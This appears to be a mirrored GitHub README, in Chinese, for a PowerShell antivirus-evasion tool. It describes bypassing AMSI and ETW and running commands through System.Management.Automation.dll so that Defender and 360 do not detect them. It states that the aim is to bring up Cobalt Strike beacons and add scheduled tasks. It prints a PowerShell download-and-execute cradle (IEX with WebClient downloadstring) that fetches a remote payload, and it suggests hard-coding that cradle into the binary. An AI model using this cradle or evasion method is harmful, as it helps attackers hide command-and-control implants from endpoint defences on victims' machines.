Git Product home page Git Product logo

powershell-bypass's Introduction

powershell-bypss

powershell命令免杀的小工具,可过Defender、360等,可执行上线cobaltstrike、添加计划任务等。

AMSI绕过+ETW绕过+Automation执行powershell命令。

理论上来说遇到禁用powershell的情况也可以通过该工具执行powershell的命令。

请勿使用于任何非法用途,由此产生的后果自行承担。

理论上来说可以免杀执行任意powershell命令,但是调用了如schtask这类被监控的程序还是会被查杀的。

上述测试环境均为实体机。

思路很简单,很久之前就有了,工具调用C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation目录下面的System.Management.Automation.dll执行底层api来绕过杀软对powershell的监控,同时绕过AMSI的检测与对ETW的监控。由于patch绕过AMSI的方法会被360查杀,因此这里使用了设置System.Management.Automation.AmsiUtils的方法来绕过。

这里用对命令进行了base64编码,当然这就是一个命令的加载器,具体怎么加密命令有各种各样的方法。

由于是C#,因此可以用execute-assembly内存执行的方式来不落地执行,不过cs本身的powerpick就实现了这个功能,这里只是单拿出来做一个小工具。

师傅们注意避免用powershell命令,上线cobaltstrike只需要base64IEX ((new-object net.webclient).downloadstring('http://ip:port/a'))裸命令,如果以powershell开头那么还是会调用powershell被360拦截的。

想单纯来上线cs的师傅可以把IEX开头的powershell命令写定在程序里的myPipeLine.Commands.AddScript参数中

image

1669271189122

powershell-bypass's People

Contributors

h4de5-7 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.